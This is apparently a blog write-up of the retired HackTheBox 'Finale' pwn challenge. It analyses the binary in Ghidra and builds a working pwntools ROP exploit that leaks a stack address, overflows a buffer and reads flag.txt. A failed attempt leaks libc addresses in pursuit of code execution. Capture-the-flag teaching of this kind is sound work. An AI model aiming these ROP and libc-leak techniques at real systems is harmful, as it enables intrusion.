Finale (HackTheBox)

Hey all. Today we're going to discuss the retired Finale challenge on HackTheBox. The description on HackTheBox is as follows:

It's the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!

In this write-up, we will learn about the stack, ROP chains, and prioritizing attack vectors.

Spoiler alert: if you can't find the libc version, it's not a bug.

Summary

  • First looks
  • Finding vulnerability primitives
  • Developing the ROP chain
  • Retrieving the flag
  • Failed attempt

First looks

We are given an executable binary called finale. Upon performing a dynamic analysis, we are prompted for a password which means that we'll need to do a static analysis in order to proceed.

[Strange man in mask screams some nonsense]: iut2rxgf

[Strange man in mask]: In order to proceed, tell us the secret phrase: <...>

[Strange man in mask]: Sorry, you are not allowed to enter here!
The dynamic analysis

Running pwntools' checksec on finale gives us:

$ checksec finale
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Checksec output

The fields mean:

  • Arch: the CPU architecture and instruction set (x86, ARM, MIPS, ...)
  • RELRO: Relocation Read-Only - secures the dynamic linking process
  • Stack Canaries: protects against stack buffer overflow attacks
  • NX: No eXecute - write-able memory cannot be executed
  • PIE: Position Independable Executable - address randomization

For a more in-depth conclusion about checksec, please visit our previous blogpost about the Blacksmith challenge on Hack The Box. The logical conclusion is that we need to perform a stack-based buffer overflow (since Stack Canaries are disabled) leading to a Return-Oriented-Programming chain (since NX is enabled).

Finding vulnerability primitives

To start, a vulnerability primitive is a building block of an exploit. A primitive can be bundled with other primitives to achieve a higher impact.

Main() analysis

In order to analyze the binary, I opened it up in Ghidra, made by the NSA. The main() function prints 8 random bytes, asks us for a secret and calls finale().

long main()
{
  int iVar1;
  char secret [16];
  char rand [8];
  ulong i;
  
  banner();
  rand = 0;
  iVar1 = open("/dev/urandom",0);
  read(iVar1,rand,8);
  printf("\n[Strange man in mask screams some nonsense]: %s\n\n",rand);
  close(iVar1);
  secret._0_8_ = 0;
  secret._8_8_ = 0;
  printf("[Strange man in mask]: In order to proceed, tell us the secret phrase: ");
  __isoc99_scanf("%16s",secret);
  i = 0;
  do {
    if (i > 14) {
LAB_CHECK_SECRET:
      iVar1 = strncmp(secret,"s34s0nf1n4l3b00",15);
      if (iVar1 == 0) {
        finale();
      } else {
        printf("%s\n[Strange man in mask]: Sorry, you are not allowed to enter here!\n\n","\x1b[1;31m");
      }
      return;
    }
    if (secret[i] == '\n') {
      secret[i] = '\0';
      goto LAB_CHECK_SECRET;
    }
    i++;
  } while( true );
}

Main function

As we can see, the secret for the binary is s34s0nf1n4l3b00 and finale() gets called after the correct secret has been entered.

Finale() analysis

As said, main() calls finale() after the secret has been entered. This function asks us for a wish for the next year.

void finale()
{
  char buf[64];
  
  printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]",buf);
  printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");
  fflush(stdin);
  fflush(stdout);
  read(0,buf,0x1000);
  write(1,"\n[Strange man in mask]: That\'s a nice wish! Let the Spooktober Spirit be with you!\n\n",0x54);
  return;
}
Finale function

We are given stack leak in the form of char* buf. Furthermore, there is a stack buffer overflow: the buffer length is 64 and we are writing 0x1000 (4096) bytes. In Ghidra we can see that the offset to the return address from the base of buf is 0x48 bytes.

GOT

Considering checksec said No PIE (0x400000), we can use the Procedural Linking Table (PLT) section of the binary. This means we could open a potential flag.txt using open(), read() and write().

Developing the ROP chain

Considering the protections in the binary listed by checksec state that No eXecute is enabled, we need to use Return Oriented Programming (ROP) chains. We want to do the following in the payload:

fd = open("flag.txt", 0);
n_read = read(3, buf, size);  // 3 since fd == 3 can be expected
write(1, buf, n_read);

We have access to:

  • Binary/ELF
  •   GOT and PLT (linked functions)
  •  Functions (built-in functions)
  • Stack

Using print(*ELF('challenge/finale').plt.keys()), we can see that the following functions are available in the PLT sections:

strncmp puts write printf alarm
close read srand time fflush
setvbuf open __isoc99_scanf rand
Available functions in the PLT section

Now we have the right functions and have access to the stack (for "flag.txt"), we need to need a way to pass function arguments. The x64 calling convention states that function arguments should be passed (in order) via RDI, RSI, RDX, RCX, R8, R9. This means that we need to control the RDI, RSI, and RDX registers via pop instructions (called gadgets) in the ROP-chain in order to pass 3 arguments to open(), read(), and write(). We can search for such gadgets using ropr: a blazing fast multithreaded ROP Gadget finder. Below is my search regex filter for ropr:

$ ropr -R '^pop (rdi|rsi|rdx); ret;' challenge/finale  
0x004012d6: pop rdi; ret;
0x004012d8: pop rsi; ret;

Sadly, ropr can't find any gadgets for the RDX register. Even after trying many more search queries (like EDX and DX), I couldn't find any results. This means that we need to find a workaround for a high-enough RDX value for read(..., ..., size=RDX).

GNU Debugger (GDB)

In order to find out a way to get a high RDX value, I used GDB with the Pwndbg plug-in (please say /pwn-dbg/ and not /poʊndbæg/ as the repo proposes). To see the RDX value during runtime, we can use the GDB functions in pwntools:

#!/usr/bin/env python3

from pwn import ELF, remote, gdb, p64, u64
import time

e = ELF('challenge/finale')
p = e.process()

# 0x004012d6: pop rdi; ret;
pop_rdi = p64(0x4012d6)

# 0x004012d8: pop rsi; ret;
pop_rsi = p64(0x4012d8)

def leak_func(address):
    payload = b'A'*0x48
    payload += pop_rdi + p64(address) + p64(e.plt.puts) + p64(e.sym.finale)

    p.sendafter(b"next year: ", payload)
    p.recvuntil(b"you!\n\n")  # clear buffer
    return u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00'))


p.sendlineafter(b"secret phrase: ", b"s34s0nf1n4l3b00")
p.recvuntil(b"good luck: [")  # clear buffer for next address read

leak = int(p.recvuntil(b"]")[:-1], 16)
print("leak @", hex(leak))

file = b'flag.txt\0'
rbp = leak + 0x170

payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(leak)
payload += pop_rsi + p64(0)
payload += p64(0x4014c7)

gdb.attach(p, 'b *0x4014c7\ncontinue')
p.sendafter(b"next year: ", payload)

while True:
    print(p.recv())
Payload for opening GDB at the open() call
0x00000000004014e0 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────
 RAX  0x3
 RBX  0x0
 RCX  0x7ffc887475a0 —▸ 0x7f76d739e2e0 ◂— 0x0
 RDX  0x8
*RDI  0x3
 RSI  0x7ffc887475a0 —▸ 0x7f76d739e2e0 ◂— 0x0
 R8   0x3c
 R9   0x7ffc887451bc ◂— 0x3c00007f76
 R10  0x0
 R11  0x246
 R12  0x7ffc887475f8 —▸ 0x7ffc88748289 ◂— '~/Documents/ctf/htb/finale/challenge/finale'
 R13  0x401492 (main) ◂— endbr64 
 R14  0x403d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4012a0 (__do_global_dtors_aux) ◂— endbr64 
 R15  0x7f76d739d040 (_rtld_global) —▸ 0x7f76d739e2e0 ◂— 0x0
 RBP  0x7ffc887475c0 —▸ 0x7ffc887475f0 ◂— 0x1
 RSP  0x7ffc887474c0 ◂— 0xe193b4642436643b
*RIP  0x4014e0 (main+78) ◂— call 0x401170
─────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────
   0x4014cf <main+61>     lea    rcx, [rbp - 0x20]
   0x4014d3 <main+65>     mov    eax, dword ptr [rbp - 0xc]
   0x4014d6 <main+68>     mov    edx, 8
   0x4014db <main+73>     mov    rsi, rcx
   0x4014de <main+76>     mov    edi, eax
 ► 0x4014e0 <main+78>     call   read@plt                      <read@plt>
        fd: 0x3 (~/Documents/ctf/htb/finale/flag.txt)
        buf: 0x7ffc887475a0 —▸ 0x7f76d739e2e0 ◂— 0x0
        nbytes: 0x8
 
   0x4014e5 <main+83>     lea    rax, [rbp - 0x20]
   0x4014e9 <main+87>     mov    rsi, rax
   0x4014ec <main+90>     lea    rax, [rip + 0x1425]
   0x4014f3 <main+97>     mov    rdi, rax
   0x4014f6 <main+100>    mov    eax, 0
GDB breakpoint dump

As we can see, RDX is equal to 8 which means only 8 bytes of the flag get read and written to stdout. Since we need to read at least 32 bytes, we need to find a way of manipulating the RDX register. We could do this by:

  • Calling open("flag.txt", 0) using the PLT section in the ELF (which only executes the function and immediately returns after)
  • Manipulate RDX
  • Calling 0x4014e0 so we read() with the manipulated RDX and write() to stdout all at once.

As said, I tried finding gadgets which sadly did not work. After manually analyzing the binary I happened to see the following gadget:

      00401476 ba 54 00     MOV       EDX,0x54
               00 00
      0040147b 48 8d 05     LEA       RAX,[s__[Strange_man_in_mask]:_That's_a_ = "\n[Strange man in mask]: 
               2e 14 00 
               00
      00401482 48 89 c6     MOV       RSI=>s__[Strange_man_in_mask]:_That's_a_ = "\n[Strange man in mask]: 
      00401485 bf 01 00     MOV       EDI,0x1
               00 00
      0040148a e8 a1 fc     CALL      <EXTERNAL>::write                         ssize_t write(int __fd, void
               ff ff
      0040148f 90            NOP
      00401490 c9            LEAVE
      00401491 c3            RET
Part of the finale() function

As we can see, the EDX register is set to 0x54. This means we will read and write 84 bytes of the flag, which means it's more than enough and that we have completed the final part of the ROP chain:

  • open@PLT("flag.txt", 0)
  • finale() // to set RDX to 0x54
  • Set RDI to 3
  • Set RSI to the buffer buf
  • JMP 0x4016e0

A.k.a.:

file = b'flag.txt\0'
rbp = leak - 0x5000

payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(leak)
payload += pop_rsi + p64(0)
payload += p64(e.plt.open)
payload += p64(e.sym.finale)  # set RDX

p.sendafter(b"next year: ", payload)

payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(3)
payload += pop_rsi + p64(rbp-0x20)
payload += p64(0x4014e0)  # read() -> write()

p.sendafter(b"next year: ", payload)
The Python representation of the ROP chain

Retrieving the flag

So, the grant scene of the script is:

#!/usr/bin/env python3

from pwn import ELF, remote, gdb, p64, u64
import time

e = ELF('challenge/finale')
is_remote = False
if is_remote:
    p = remote("167.99.204.5", 31431)
else:
    p = e.process()

# 0x004012d6: pop rdi; ret;
pop_rdi = p64(0x4012d6)

# 0x004012d8: pop rsi; ret;
pop_rsi = p64(0x4012d8)

def leak_func(address):
    payload = b'A'*0x48
    payload += pop_rdi + p64(address) + p64(e.plt.puts) + p64(e.sym.finale)

    p.sendafter(b"next year: ", payload)
    p.recvuntil(b"you!\n\n")  # clear buffer
    return u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00'))


p.sendlineafter(b"secret phrase: ", b"s34s0nf1n4l3b00")
p.recvuntil(b"good luck: [")  # clear buffer for next address read

leak = int(p.recvuntil(b"]")[:-1], 16)
print("leak @", hex(leak))

file = b'flag.txt\0'
rbp = leak - 0x5000

payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(leak)
payload += pop_rsi + p64(0)
payload += p64(e.plt.open)
payload += p64(e.sym.finale)  # set RDX

p.sendafter(b"next year: ", payload)

payload = file + b'A'*(0x40-len(file)) + p64(rbp)
payload += pop_rdi + p64(3)
payload += pop_rsi + p64(rbp-0x20)
payload += p64(0x4014e0)  # read() -> write()

p.sendafter(b"next year: ", payload)
while True:
    print(p.recv())

Failed attempt

In my failed attempt I tried to get remote code execution using leaked libc offsets, but it turned out that the libc version on the server was custom and it was intended to prevent this solution. I had to find out by asking the creator of the challenge.

The way we leak libc addresses is by calling puts() in the PLT section with the argument being a libc function linked in the GOT section. So, we need to call puts(const char *string); with argument string via the RDI register in AMD64. To control the RDI register, we use a ROP chain that pops RDI:

$ ropr -R 'pop rdi; ret;' challenge/finale
0x004012d6: pop rdi; ret;

==> Found 1 gadgets in 0.004 seconds

Now we can pop a GOT function address into RDI and call puts() to leak the function offset. Let's run the following script with the server as target to get their libc version:

#!/usr/bin/env python3

from pwn import ELF, remote, gdb, p64, u64
import time

e = ELF('challenge/finale')
is_remote = False
if is_remote: 
    p = remote("161.35.173.232", 31394)
else:
    p = e.process()

# 0x004012d6: pop rdi; ret;
pop_rdi = p64(0x004012d6)

def leak_func(address):
    payload = b'A'*0x48
    payload += pop_rdi + p64(address) + p64(e.plt.puts) + p64(e.sym.finale)
    
    p.sendafter(b"next year: ", payload)
    p.recvuntil(b"you!\n\n")  # clear buffer
    return u64(p.recvuntil(b"\n")[:-1].ljust(8, b'\x00'))

p.sendlineafter(b"secret phrase: ", b"s34s0nf1n4l3b00")
p.recvuntil(b"good luck: [")  # clear buffer for next address read

leak = int(p.recvuntil(b"]")[:-1], 16)
print("leak @", hex(leak))

#gdb.attach(p)
for name, addr in e.got.items():
    print(name, "@", hex(leak_func(addr)))
The payload for leaking LIBC addresses

The output is the following:

__libc_start_main @ 0x7ff2d7c29dc0
__gmon_start__ @ 0x0
stdout @ 0x7ff2d7e1a780
stdin @ 0x7ff2d7e19aa0
strncmp @ 0x0
puts @ 0x7ff2d7c80ed0
write @ 0x7ff2d7d14a20
printf @ 0x7ff2d7c60770
alarm @ 0x7ff2d7cea5b0
close @ 0x0
read @ 0x7ff2d7d14980
srand @ 0x7ff2d7c460a0
time @ 0x7ffdaafcfc60
fflush @ 0x7ff2d7c7f1b0
setvbuf @ 0x7ff2d7c81670
open @ 0x7ff2d7d14690
__isoc99_scanf @ 0x7ff2d7c62110
rand @ 0x7ff2d7c46760

When I enter those symbols and addresses into a libc-leak website like libc.rip, I cannot find a single libc version. That means that there's a custom libc version, which means we can't call system() since we don't have the address.